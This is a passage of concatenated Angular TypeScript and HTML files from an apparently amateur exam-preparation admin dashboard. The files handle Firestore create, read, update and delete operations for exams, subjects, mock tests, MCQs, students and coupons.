import { ApiService } from 'src/services/api.service';
import { Observable } from 'rxjs';
import { ToastrService } from 'ngx-toastr';
import { NgxSpinnerService } from 'ngx-spinner';
@Component({
selector: 'app-mocks',
templateUrl: './mocks.component.html',
styleUrls: ['./mocks.component.css']
})
export class MocksComponent implements OnInit {
mockName: string;
mockId: string;
examName: string;
examId: string;
categoryName: string;
categoryId: string;
maxNoOfPapers: number;
timeOfEachPaper: string;
passingMarks: number;
totalMcqs: number;
marksForCorrect: number;
marksForIncorrect: number;
priceOfSeries: number;
exams: any;
categorys: any;
exam: any;
editMode: boolean;
updateE: any;
subjects: any;
chapters: Observable<any>;
category: any;
examN: string;
constructor(private router: Router, private apiService: ApiService,
private activatedRoute: ActivatedRoute, private spinner: NgxSpinnerService
, private toastr: ToastrService) {}
onChange(id) {
const exam = this.exams.filter(data => data.id === id);
this.examName = exam[0].examName;
this.examId = id;
this.categoryName = exam[0].categoryName;
this.categoryId = exam[0].categoryId;;
console.log(this.categoryId, this.categoryName, this.examName, this.examId);
}
addExam() {
if (this.examId != '' && this.examName != '' && this.categoryName != '' && this.categoryId != '' && this.maxNoOfPapers != null
&& this.timeOfEachPaper != null && this.passingMarks != null && this.totalMcqs != null && this.marksForCorrect != null
&& this.marksForIncorrect != null) {
console.log(this.examName, this.categoryName, this.categoryId);
const e = {
categoryName: this.categoryName,
categoryId: this.categoryId,
examName: this.examName,
examId: this.examId,
mockName: this.mockName,
maxNoOfPapers: this.maxNoOfPapers,
timeOfEachPaper: this.timeOfEachPaper,
passingMarks: this.passingMarks,
totalMcqs: this.totalMcqs,
marksForCorrect: this.marksForCorrect,
marksForIncorrect: this.marksForIncorrect,
priceOfSeries: this.priceOfSeries
};
this.apiService.addMock(e).then(
(resp) => {
this.spinner.show();
this.toastr.success('Mock series added.');
let f = true;
for (let i = 1; i <= this.maxNoOfPapers; i++) {
const mockExams = {
free: f,
mockExamName: 'Mock Exam ' + i,
mockName: this.mockName,
mockId: resp.id,
examName: this.examName,
examId: this.examId,
categoryName: this.categoryName,
categoryId: this.categoryId,
totalMcqs: this.totalMcqs,
marksForCorrect: this.marksForCorrect,
marksForIncorrect: this.marksForIncorrect,
passingMarks: this.passingMarks
};
f = false;
this.apiService.addMockExam(mockExams);
}
this.spinner.hide();
this.toastr.success('Mock exams added successfuly');
this.mockName = '';
this.examName = '';
this.maxNoOfPapers = null;
this.timeOfEachPaper = null;
this.passingMarks = null;
this.totalMcqs = null;
this.marksForCorrect = null;
this.marksForIncorrect = null;
this.priceOfSeries = null;
}
);
} else {
this.toastr.error('Form is invalid..');
}
}
deleteExam(id) {
this.apiService.deleteMock(id);
}
ngOnInit() {
this.spinner.show()
this.apiService.getExams().pipe(map(
list => {
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe(res => {
this.exams = res;
this.exam = this.exams[0].id;
this.spinner.hide()
});
this.apiService.getSubjects().pipe(map(
list => {
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe(res => {
this.subjects = res;
});
}
goBack() {
this.router.navigateByUrl('/exams');
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Observable } from 'rxjs';
import { faCoffee } from '@fortawesome/free-solid-svg-icons';
import { map } from 'rxjs/operators';
import { ApiService } from 'src/services/api.service';
import { Router } from "@angular/router";
@Component({
selector: 'app-viewstudent',
templateUrl: './viewstudent.component.html',
styleUrls: ['./viewstudent.component.css']
})
export class ViewstudentComponent implements OnInit {
faCoffee = faCoffee;
studentName: string;
editMode: boolean;
studentId: string;
students: Observable<any>;
student: any;
length: number;
constructor(private apiService: ApiService, private router: Router) { }
studentDetails(id) {
const i = {
uid : id,
};
this.router.navigate(['dashboard/studentdetails', i]);
}
updateStudent(id, student) {
this.studentName = student.studentName;
this.editMode = true;
this.studentId = id;
}
getStudent(id) {
this.apiService.getStudent(id).subscribe(resp => this.student = resp);
}
deleteStudent(id) {
this.apiService.deleteStudent(id);
}
ngOnInit() {
this.editMode = false;
this.students = this.apiService.getStudents().pipe(map(
list => {
this.length = list.length;
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
));
}
goBack() {
this.router.navigateByUrl('/student');
}
}
<file_sep>import { Injectable } from '@angular/core';
import { AngularFirestore } from 'angularfire2/firestore';
import { FormGroup, FormControl, Validators } from '@angular/forms';
@Injectable({
providedIn: 'root'
})
export class ApiService {
constructor(private firestore: AngularFirestore) { }
/* Requested exams */
getRequestedExams() {
return this.firestore.collection('requestexam').snapshotChanges();
}
// Subject services
addCategory(data) {
return this.firestore.collection('category').add(data);
}
getCategory(id) {
return this.firestore.collection('category').doc(id).valueChanges();
}
getCategorys() {
return this.firestore.collection('category').snapshotChanges();
}
updateCategory(id, data) {
return this.firestore.collection('category').doc(id).update(data);
}
deleteCategory(id) {
return this.firestore.collection('category').doc(id).delete();
}
// Subject services
addSubject(data) {
return this.firestore.collection('subject').add(data);
}
getSubject(id) {
return this.firestore.collection('subject').doc(id).valueChanges();
}
getSubjects() {
return this.firestore.collection('subject').snapshotChanges();
}
updateSubject(id, data) {
return this.firestore.collection('subject').doc(id).update(data);
}
deleteSubject(id) {
return this.firestore.collection('subject').doc(id).delete();
}
// Mock services
addChapter(data) {
return this.firestore.collection('chapter').add(data);
}
getChapter(id) {
return this.firestore.collection('chapter').doc(id).valueChanges();
}
getChapters() {
return this.firestore.collection('chapter').snapshotChanges();
}
updateChapter(id, data) {
return this.firestore.collection('chapter').doc(id).update(data);
}
deleteChapter(id) {
return this.firestore.collection('chapter').doc(id).delete();
}
// Exam services
addExam(data) {
return this.firestore.collection('exam').add(data);
}
getExam(id) {
return this.firestore.collection('exam').doc(id).valueChanges();
}
getExams() {
return this.firestore.collection('exam').snapshotChanges();
}
updateExam(id, data) {
return this.firestore.collection('exam').doc(id).update(data);
}
deleteExam(id) {
return this.firestore.collection('exam').doc(id).delete();
}
// Mcqs services
addMcqs(data) {
return this.firestore.collection('mcqs').add(data);
}
getMcq(id) {
return this.firestore.collection('mcqs').doc(id).valueChanges();
}
getMcqs() {
return this.firestore.collection('mcqs').snapshotChanges();
}
updateMcqs(id, data) {
return this.firestore.collection('mcqs').doc(id).update(data);
}
deleteMcqs(id) {
return this.firestore.collection('mcqs').doc(id).delete();
}
// create student
addStudent(data) {
return this.firestore.collection('students').add(data);
}
getStudent(id) {
return this.firestore.collection('students').doc(id).valueChanges();
}
getStudents(){
return this.firestore.collection('students').snapshotChanges();
}
deleteStudent(id) {
return this.firestore.collection('students').doc(id).delete();
}
updateStudent(id, data){
return this.firestore.collection('students').doc(id).update(data);
}
// create Coupon
addCoupon(data) {
return this.firestore.collection('coupons').add(data);
}
getCoupon(id) {
return this.firestore.collection('coupons').doc(id).valueChanges();
}
getCoupons() {
return this.firestore.collection('coupons', ref => ref.limit(20)).snapshotChanges();
}
deleteCoupon(id) {
return this.firestore.collection('coupons').doc(id).delete();
}
updateCoupon(id, data) {
return this.firestore.collection('coupons').doc(id).update(data);
}
// mocks api
addMock(data) {
return this.firestore.collection('mocks').add(data);
}
getMock(id) {
return this.firestore.collection('mocks').doc(id).valueChanges();
}
getMocks() {
return this.firestore.collection('mocks').snapshotChanges();
}
deleteMock(id) {
return this.firestore.collection('mocks').doc(id).delete();
}
updateMock(id, data) {
return this.firestore.collection('mocks').doc(id).update(data);
}
// mockexams api
addMockExam(data) {
return this.firestore.collection('mockexams').add(data);
}
getMockExam(id) {
return this.firestore.collection('mockexams').doc(id).valueChanges();
}
getMocksExam() {
return this.firestore.collection('mockexams', resp => resp
.orderBy('examName', 'asc')
.orderBy('mockName', 'asc')
.orderBy('mockExamName', 'asc'))
.snapshotChanges();
}
getMocksExamId(id) {
return this.firestore.collection('mockexams', resp => resp.where('mockId', '==', id)).snapshotChanges();
}
getMocksExamIdName(id, mockExamId) {
return this.firestore.collection('mockexams', resp => resp.where('mockId', '==', id)
.where('mockExamName', '==', mockExamId)).snapshotChanges();
}
deleteMockExam(id) {
return this.firestore.collection('mockexams').doc(id).delete();
}
updateMockExam(id, data) {
return this.firestore.collection('mockexams').doc(id).update(data);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Router, ActivatedRoute } from "@angular/router";
import { ApiService } from 'src/services/api.service';
import { map } from 'rxjs/operators';
@Component({
selector: 'app-bulkmcq',
templateUrl: './bulkmcq.component.html',
styleUrls: ['./bulkmcq.component.css']
})
export class BulkmcqComponent implements OnInit {
categoryId: string;
categoryName: string;
examName: string;
examId: string;
subjectName: string;
subjectId: string;
chapterName: string;
chapterId: string;
chapters: any;
mockId: string;
constructor(private router: Router, private apiService: ApiService, private activatedRoute: ActivatedRoute) {
this.activatedRoute.params.subscribe(resp => {
this.mockId = resp.id;
console.log(this.mockId);
});
}
onChange(id) {
this.chapterId = id;
}
ngOnInit() {
this.apiService.getChapters().pipe(map(
list => {
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return {id, ...data};
}
);
}
)).subscribe(
resp => {
console.log(resp);
this.chapters = resp;
}
);
}
goBack() {
this.router.navigate(['dashboard/mcqs']);
}
selectChapter() {
this.router.navigate(['dashboard/mcqbulkaddition/', {cId: JSON.stringify(this.chapterId), mId: JSON.stringify(this.mockId)}]);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Observable } from 'rxjs';
import { ApiService } from 'src/services/api.service';
import { map } from 'rxjs/operators';
import { Router, ActivatedRoute } from "@angular/router";
import { ToastrService } from 'ngx-toastr';
@Component({
selector: 'app-mcqs',
templateUrl: './mcqs.component.html',
styleUrls: ['./mcqs.component.css']
})
export class McqsComponent implements OnInit {
mcqsName: string;
mcqsId: string;
chapterName: string;
chapterId: string;
mockId: string;
correct: string;
solution: string;
question: string;
options: Array<any>;
editMode: boolean;
mcqs: Observable<any>;
mcq: any;
length: number;
constructor(private apiService: ApiService, private router: Router, private activatedRoute: ActivatedRoute,
private toster: ToastrService) {
this.activatedRoute.params.subscribe(resp => {
this.mockId = resp.id;
});
}
deleteMcq(id) {
this.apiService.deleteMcqs(id)
.then(
() => {
this.toster.error('Mcq deleted successfuly..');
}
);
}
updateMcq(item) {
this.router.navigate(['dashboard/editmcq/', {
item: JSON.stringify(item.id)
}]);
}
ngOnInit() {
this.editMode = false;
this.mcqs = this.apiService.getMcqs().pipe(map(
list => {
this.length = list.length;
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return {id, ...data };
}
);
}
));
}
singleMcq() {
this.router.navigate(['dashboard/singlemcq/' + this.mockId]);
}
btnClick() {
this.router.navigate(['dashboard/bulkmcq/' + this.mockId]);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { ActivatedRoute } from '@angular/router';
import { ApiService } from 'src/services/api.service';
@Component({
selector: 'app-studentdetails',
templateUrl: './studentdetails.component.html',
styleUrls: ['./studentdetails.component.css']
})
export class StudentdetailsComponent implements OnInit {
name: string;
email: string;
regNo: string;
uid:any;
student: any;
constructor(private activatedRoute: ActivatedRoute, private apiService: ApiService) {
this.activatedRoute.params.subscribe(data => {
if(data.uid){
this.uid = data.uid;
}
});
}
ngOnInit() {
this.apiService.getStudent(this.uid).subscribe(resp => {
this.student = resp;
});
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Observable } from 'rxjs';
import { faCoffee } from '@fortawesome/free-solid-svg-icons';
import { map } from 'rxjs/operators';
import { ApiService } from 'src/services/api.service';
import { Router } from '@angular/router';
import { ToastrService } from 'ngx-toastr';
import { HelperService } from 'src/services/helper.service';
import swal from 'sweetalert2';
import { NgxSpinnerService } from 'ngx-spinner';
@Component({
selector: 'app-category',
templateUrl: './category.component.html',
styleUrls: ['./category.component.css']
})
export class CategoryComponent implements OnInit {
faCoffee = faCoffee;
categoryName: string;
editMode: boolean;
categoryId: string;
categorys: any;
category: any;
length: number;
constructor(private apiService: ApiService, private router: Router,
private toastr: ToastrService, private helper: HelperService, private spinner: NgxSpinnerService) { }
addCategory() {
if (this.categoryName != '') {
if (!this.editMode) {
const c = {
categoryName: this.categoryName,
};
this.apiService.addCategory(c).then(
() => {
this.toastr.success('Successfully added the category');
this.categoryName = '';
}
);
} else {
const c = {
categoryName: this.categoryName,
};
this.apiService.updateCategory(this.categoryId, c).then(
() => {
this.toastr.success('Successfully updated the category');
this.categoryName = '';
this.editMode = false;
}
);
}
} else {
console.log('Form is invalid..');
}
}
updateCategory(id, category) {
this.categoryName = category.categoryName;
this.editMode = true;
this.categoryId = id;
}
getCategory(id) {
this.apiService.getCategory(id).subscribe(resp => this.category = resp);
}
deleteCategory(id) {
this.helper.confrimMessage('Are you sure?', 'You will not be able to recover', 'warning', 'ok', 'cancel')
.then(
result => {
if (result.value) {
this.apiService.deleteCategory(id)
.then(
() => {
this.toastr.error('Successfully deleted the category');
}
);
} else if (result.dismiss === swal.DismissReason.cancel) {
console.log('Failure');
}
}
);
}
ngOnInit() {
this.editMode = false;
this.spinner.show();
this.apiService.getCategorys().pipe(map(
list => {
this.length = list.length;
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe(resp => {
this.categorys = resp;
this.spinner.hide();
});
}
goBack() {
this.router.navigateByUrl('/examination');
}
}
<file_sep><div class="container">
<div class="col-lg-12" >
<div class="margin">
<h2>Student Details</h2>
<p>We are pretty sure you will use this platform to become better and better everyday</p>
<form class="form-group" *ngIf = "student">
<label type="text" placeholder="Name" class="form-control">{{student.name}}</label>
<label type="email" placeholder="Email" class="form-control">{{student.email}}</label>
<label type="text" placeholder="Registration No." class="form-control">{{student.regNo}}</label>
<label placeholder="CNIC" class="form-control">{{student.cnic}}</label>
<label type="text" placeholder="Gender" class="form-control">{{student.gender}}</label>
<label placeholder="DOB" class="form-control">{{student.dob}}</label>
<label placeholder="Phone No." class="form-control">{{student.phone}}</label>
<br><br>
<!-- <p>By Login to this account, you agree to our Terms and Policy</p> -->
</form>
</div>
</div>
</div>
<file_sep>import { Component, OnInit } from '@angular/core';
import { AuthService } from 'src/services/auth.service';
import { Router } from '@angular/router';
import { HelperService } from 'src/services/helper.service';
import swal from 'sweetalert2';
import { NgxSpinnerService } from 'ngx-spinner';
@Component({
selector: 'app-login',
templateUrl: './login.component.html',
styleUrls: ['./login.component.css']
})
export class LoginComponent implements OnInit {
email: string;
password: string;
constructor(private auth: AuthService, private router: Router, private helper: HelperService
, private spinner: NgxSpinnerService) {
}
login() {this.spinner.show();
this.auth.login(this.email, this.password).then(
(user) => {
this.auth.setUser(user.user.uid);
console.log(this.auth.getUser());
this.spinner.hide();
this.router.navigate(['dashboard']);
}
)
.catch(error => console.log(error.messege));
}
ngOnInit() {
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { ApiService } from 'src/services/api.service';
import { ToastrService } from 'ngx-toastr';
import { map } from 'rxjs/operators';
@Component({
selector: 'app-coupons',
templateUrl: './coupons.component.html',
styleUrls: ['./coupons.component.css']
})
export class CouponsComponent implements OnInit {
quantity: number;
amount: number;
coupons: any;
constructor(private apiService: ApiService, private toastr: ToastrService) { }
generateCoupon() {
if (this.quantity != null) {
for (let i = 0; i < this.quantity; i++) {
const couponId = Math.random().toString(36).substring(2);
const coupon = {
amount: this.amount,
couponId: couponId
};
this.apiService.addCoupon(coupon)
.then(
() => {
console.log('Coupon Added');
}
);
}
this.toastr.success('Coupons added succesfuly' + this.amount);
}
}
deleteCoupon(id) {
if (confirm('Are you sure you want to delete?')) {
this.apiService.deleteCoupon(id);
}
}
ngOnInit() {
this.apiService.getCoupons().pipe(map(
list => list.map(
item => {
const data = item.payload.doc.data();
const id = item.payload.doc.id;
return {id, ...data};
}
)
)).subscribe(resp => {
this.coupons = resp;
});
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { AuthService } from 'src/services/auth.service';
import { ApiService } from 'src/services/api.service';
import { map } from 'rxjs/operators';
@Component({
selector: 'app-overview',
templateUrl: './overview.component.html',
styleUrls: ['./overview.component.css']
})
export class OverviewComponent implements OnInit {
users: any;
coupons: any;
constructor(private auth: AuthService, private apiService: ApiService) { }
ngOnInit() {
this.apiService.getStudents().pipe(map(
list => list.map(
items => {
return {id: items.payload.doc.id, ...items.payload.doc.data()}
}
)
)).subscribe(
resp => {
this.users = resp;
}
);
this.apiService.getCoupons().pipe(map(
list => list.map(
items => {
return {id: items.payload.doc.id, ...items.payload.doc.data()}
}
)
)).subscribe(resp => {
this.coupons = resp;
})
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Observable } from 'rxjs';
import { map } from 'rxjs/operators';
import { ApiService } from 'src/services/api.service';
import {Router } from '@angular/router';
import { ToastrService } from 'ngx-toastr';
import swal from 'sweetalert2';
import { HelperService } from 'src/services/helper.service';
@Component({
selector: 'app-exams',
templateUrl: './exams.component.html',
styleUrls: ['./exams.component.css']
})
export class ExamsComponent implements OnInit {
categoryName: string;
categoryId: string;
examName: string;
examId: string;
exams: Observable<any>;
categorys: any;
category: any;
length: number;
categoryN: string;
editMode: boolean;
constructor(private apiService: ApiService, private router: Router, private toastr: ToastrService, private helper: HelperService) { }
onChange(id) {
const category = this.categorys.filter(data => data.id === id);
this.categoryName = category[0].categoryName;
this.categoryId = id;
}
addExam() {
if (this.examName != '' && this.categoryName != '' && this.categoryId != '') {
if (!this.editMode) {
console.log(this.categoryName);
const e = {
examName: this.examName,
categoryName: this.categoryName,
categoryId: this.categoryId
};
this.apiService.addExam(e).then(
() => {
this.toastr.success('Exam added successfuly');
this.examName = '';
this.categoryName = '';
});
} else {
const e = {
examName: this.examName,
categoryName: this.categoryName,
categoryId: this.categoryId
};
this.apiService.updateExam(this.examId, e)
.then(
() => {
this.toastr.success('Successfully updated the exam');
this.examName = '';
this.editMode = false;
}
)
}
} else {
this.toastr.error('Form is invalid');
console.log('Form is invalid');
}
}
ngOnInit() {
this.apiService.getCategorys().pipe(map(
list => {
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe(res => {
this.categorys = res;
this.category = this.categorys[0].id;
});
this.exams = this.apiService.getExams().pipe(map(
list => {
this.length = list.length;
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
));
}
deleteExam(id) {
this.helper.confrimMessage('Are you sure?', 'You will not be able to recover', 'warning', 'ok', 'cancel')
.then(
result => {
if (result.value) {
this.apiService.deleteExam(id)
.then(
() => {
this.toastr.error('Successfully deleted the exam.');
}
).then(
() => {
this.toastr.error('Successfully deleted the category');
}
);
} else if (result.dismiss === swal.DismissReason.cancel) {
console.log('Failure');
}
}
);
}
updateExam(item) {
this.editMode = true;
this.examId = item.id;
this.examName = item.examName;
this.categoryN = item.categoryName;
console.log(this.categoryId);
this.categoryId = item.categoryId;
}
goBack() {
this.router.navigate(['dashboard/examination']);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { ApiService } from 'src/services/api.service';
import { Observable } from 'rxjs';
import { map } from 'rxjs/operators';
import { faCoffee } from '@fortawesome/free-solid-svg-icons';
import { Router } from "@angular/router";
import { ToastrService } from 'ngx-toastr';
import { HelperService } from 'src/services/helper.service';
import swal from 'sweetalert2';
import { NgxSpinnerService } from 'ngx-spinner';
@Component({
selector: 'app-subjects',
templateUrl: './subjects.component.html',
styleUrls: ['./subjects.component.css']
})
export class SubjectsComponent implements OnInit {
faCoffee = faCoffee;
categoryName: string;
categoryId: string;
subjectName: string;
subjectId: string;
examName: string;
examId: string;
chapters = new Array();
editMode: boolean;
subjects: any;
subject: any;
exams: any;
exam: any;
length: number;
searchText: string = '';
examN: string;
constructor(private apiService: ApiService, private router: Router, private toastr: ToastrService,
private helper: HelperService, private spinner: NgxSpinnerService) {
}
filterCondition(subject) {
return subject.subjectName.toLowerCase().indexOf(this.searchText.toLowerCase()) != -1;
}
onChange(id) {
const exam = this.exams.filter(data => data.id === id);
this.examName = exam[0].examName;
this.categoryName = exam[0].categoryName;
this.categoryId = exam[0].categoryId;
this.examId = id;
}
addSubject() {
if (this.subjectName != '' && this.examName != '' && this.examId != '') {
if (!this.editMode) {
const s = {
subjectName : this.subjectName,
categoryName: this.categoryName,
categoryId: this.categoryId,
examName: this.examName,
examId: this.examId,
chapters: this.chapters
};
this.apiService.addSubject(s)
.then(
() => {
this.toastr.success('Subject added..');
this.subjectName = '';
this.examName = '';
}
);
} else {
const s = {
subjectName: this.subjectName,
categoryName: this.categoryName,
categoryId: this.categoryId,
examName: this.examName,
examId: this.examId
};
this.apiService.updateSubject(this.subjectId, s).then(
() => {
this.toastr.success('Subject updated successfuly..');
this.subjectName = '';
this.examName = '';
this.editMode = false;
}
);
}
} else {
this.toastr.error('Form is invalid..');
console.log('Form is invalid..');
}
}
updateSubject(subject) {
this.editMode = true;
this.subjectId = subject.id;
this.examName = subject.examName;
this.subjectName = subject.subjectName;
}
getSubject(id) {
this.apiService.getSubject(id).subscribe(resp => this.subject = resp);
}
deleteSubject(id) {
this.helper.confrimMessage('Are you sure?', 'You will not be able to recover the data.', 'warning', 'ok', 'cancel')
.then(
result => {
if (result.value) {
this.apiService.deleteSubject(id)
.then(
() => {
this.toastr.error('Successfully deleted the subject');
}
);
} else if (result.dismiss === swal.DismissReason.cancel) {
console.log('Failure');
}
}
);
}
ngOnInit() {
this.editMode = false;
this.spinner.show();
this.apiService.getSubjects().pipe(map(
list => {
this.length = list.length;
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return{id, ...data};
}
);
}
)).subscribe(
res => {
this.subjects = res;
this.spinner.hide();
}
);
this.apiService.getExams().pipe(map(
list => {
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe(res => {
this.exams = res;
this.exam = this.exams[0].id;
});
}
goBack() {
this.router.navigate(['/examination']);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Router } from '@angular/router';
import { map } from 'rxjs/operators';
import { Observable } from 'rxjs';
import { ApiService } from 'src/services/api.service';
@Component({
selector: 'app-examinations',
templateUrl: './examinations.component.html',
styleUrls: ['./examinations.component.css']
})
export class ExaminationsComponent implements OnInit {
categoryLength: number;
examLength: number;
mocksLength: number;
subjectLength: number;
chapterLength: number;
mcqsLength: number;
constructor(private router: Router, private apiService: ApiService) { }
ngOnInit() {
this.apiService.getSubjects().pipe(map(
list => {
this.subjectLength = list.length;
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe();
this.apiService.getChapters().pipe(map(
list => {
this.chapterLength = list.length;
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe();
this.apiService.getMocks().pipe(map(
list => {
this.mocksLength = list.length;
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe();
this.apiService.getCategorys().pipe(map(
list => {
this.categoryLength = list.length;
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe();
this.apiService.getExams().pipe(map(
list => {
this.examLength = list.length;
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe();
this.apiService.getMcqs().pipe(map(
list => {
this.mcqsLength = list.length;
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe();
}
btnClick() {
this.router.navigate(['dashboard/exams']);
}
categories() {
this.router.navigate(['dashboard/category']);
}
mocks() {
this.router.navigate(['dashboard/mocks']);
}
subjects() {
this.router.navigate(['dashboard/subjects']);
}
chapters() {
this.router.navigate(['dashboard/chapters']);
}
mcqs() {
this.router.navigate(['dashboard/mcqmock']);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { map } from 'rxjs/operators';
import { Observable } from 'rxjs';
import { Router, ActivatedRoute } from '@angular/router';
import { ApiService } from 'src/services/api.service';
import { ToastrService } from 'ngx-toastr';
@Component({
selector: 'app-singlemcq',
templateUrl: './singlemcq.component.html',
styleUrls: ['./singlemcq.component.css']
})
export class SinglemcqComponent implements OnInit {
categoryId: string;
categoryName: string;
mcqId: string;
chapterName: string;
chapterId: string;
examName: string;
examId: string;
solution: string;
question: string;
explanation: string;
options = new Array();
options1: string;
options2: string;
options3: string;
options4: string;
chapters: any;
chapter: any;
length: number;
mcq: any;
subjectName: any;
subjectId: any;
marks: number;
chapterN: string;
mockName: string;
mockId: string;
mockExamName: string;
mockExamId: string;
mockExams: any;
mockExamN: string;
mockExamFilter: any;
constructor(private router: Router, private apiService: ApiService, private activatedRoute: ActivatedRoute
,private toaster: ToastrService) {
this.activatedRoute.params.subscribe(resp => {
this.mockId = resp.id;
this.apiService.getMocksExamId(this.mockId).pipe(map(
list => {
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return {id, ...data};
}
);
}
)).subscribe(r => {
this.mockExams = r;
console.log(this.mockExams);
});
});
}
onChange(id) {
const c = this.chapters.filter(data => data.id === id);
console.log(c);
this.categoryId = c[0].categoryId;
this.categoryName = c[0].categoryName;
this.examName = c[0].examName;
this.examId = c[0].examId;
this.subjectName = c[0].subjectName;
this.subjectId = c[0].subjectId;
this.chapterName = c[0].chapterName;
this.chapterId = id;
console.log(this.chapterName);
}
onChangeMock(id) {
this.apiService.getMockExam(id)
.subscribe(resp => {
this.mockExamFilter = resp;
this.mockName = this.mockExamFilter.mockName;
this.mockId = this.mockExamFilter.mockId;
this.mockExamName = this.mockExamFilter.mockExamName;
this.mockExamId = id;
console.log(this.mockExamName, this.mockName);
});
}
addMcq() {
if (this.chapterName != '' && this.solution != '' &&
this.options1 != null && this.options2 != null && this.options3 != null && this.options4 != null &&
this.mockName != '' && this.examId != '') {
this.options.push(this.options1);
this.options.push(this.options2);
this.options.push(this.options3);
this.options.push(this.options4);
const c = {
categoryId: this.categoryId,
categoryName: this.categoryName,
examName: this.examName,
examId: this.examId,
subjectName: this.subjectName,
subjectId: this.subjectId,
chapterName: this.chapterName,
chapterId: this.chapterId,
mockName: this.mockName,
mockId: this.mockId,
mockExamName: this.mockExamName,
mockExamId: this.mockExamId,
solution: this.solution,
question: this.question,
options: this.options,
explanation: this.explanation,
marks: this.marks
};
this.apiService.addMcqs(c).then(
() => {
this.toaster.success('Mcq added successfuly..');
this.chapterName = '';
this.mockExamName = '';
this.solution = '';
this.question = '';
this.options1 = '';
this.options2 = '';
this.options3 = '';
this.options4 = '';
this.explanation = '';
this.marks = null;
this.options.pop();
this.options.pop();
this.options.pop();
this.options.pop();
}
);
} else {
this.toaster.error('Form is invalid..');
console.log('Form is invalid..');
}
}
ngOnInit() {
this.apiService.getChapters().pipe(map(
list => {
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe(res => {
this.chapters = res;
this.chapter = this.chapters[0].id;
});
}
goBack() {
this.router.navigate(['dashboard/mcqs']);
}
}
<file_sep>import { Injectable } from '@angular/core';
import { AngularFireAuth } from 'angularfire2/auth';
@Injectable({
providedIn: 'root'
})
export class AuthService {
constructor(private afAuth: AngularFireAuth) { }
signup(email, password) {
return this.afAuth.auth.createUserWithEmailAndPassword(email, password);
}
login(email, password) {
return this.afAuth.auth.signInWithEmailAndPassword(email, password);
}
logout() {
localStorage.clear();
}
setUser(id) {
localStorage.setItem('id', id);
}
getUser() {
return localStorage.getItem('id');
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Router } from "@angular/router";
import { ApiService } from 'src/services/api.service';
import { map } from 'rxjs/operators';
@Component({
selector: 'app-messages',
templateUrl: './messages.component.html',
styleUrls: ['./messages.component.css']
})
export class MessagesComponent implements OnInit {
requestedExams: any;
constructor(private router: Router, private apiService: ApiService) { }
ngOnInit() {
this.apiService.getRequestedExams().pipe(map(
list => list.map(
items => {
return {id: items.payload.doc.id, ...items.payload.doc.data()}
}
)
)).subscribe(resp => {
this.requestedExams = resp;
})
}
btnClick(){
this.router.navigateByUrl('/overview')
}
}
<file_sep>import { Injectable } from '@angular/core';
import sweetalert2 from 'sweetalert2';
@Injectable({
providedIn: 'root'
})
export class HelperService {
constructor() { }
confrimMessage(title, text, type, confirmText, cancelText) {
return sweetalert2({
title: title,
text: text,
type: type,
showCancelButton: true,
confirmButtonText: confirmText,
cancelButtonText: cancelText
});
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Router, ActivatedRoute } from '@angular/router';
import { ApiService } from 'src/services/api.service';
import { map } from 'rxjs/operators';
import { ToastrService } from 'ngx-toastr';
@Component({
selector: 'app-editmcq',
templateUrl: './editmcq.component.html',
styleUrls: ['./editmcq.component.css']
})
export class EditmcqComponent implements OnInit {
mcqsName: string;
mcqId: string;
chapterName: string;
chapterId: string;
solution: string;
question: string;
explanation: string;
options = new Array();
options1: string;
options2: string;
options3: string;
options4: string;
subjectName: string;
subjectId: string;
editMode: boolean;
mcq: any;
chapters: any;
constructor(private router: Router, private activatedRoute: ActivatedRoute, private apiService: ApiService
,private toaster: ToastrService) {
this.activatedRoute.params.subscribe(detail => {
if (detail.item) {
this.mcqId = JSON.parse(detail.item);
this.editMode = true;
this.getMcq(this.mcqId);
}
});
}
getMcq(id) {
this.apiService.getMcq(id).subscribe(resp => {
this.mcq = resp;
if (this.mcq) {
this.chapterName = this.mcq.chapterName;
this.chapterId = this.mcq.chapterId;
this.mcqsName = this.mcq.mcqsName;
this.solution = this.mcq.solution;
this.question = this.mcq.question;
this.options1 = this.mcq.options[0];
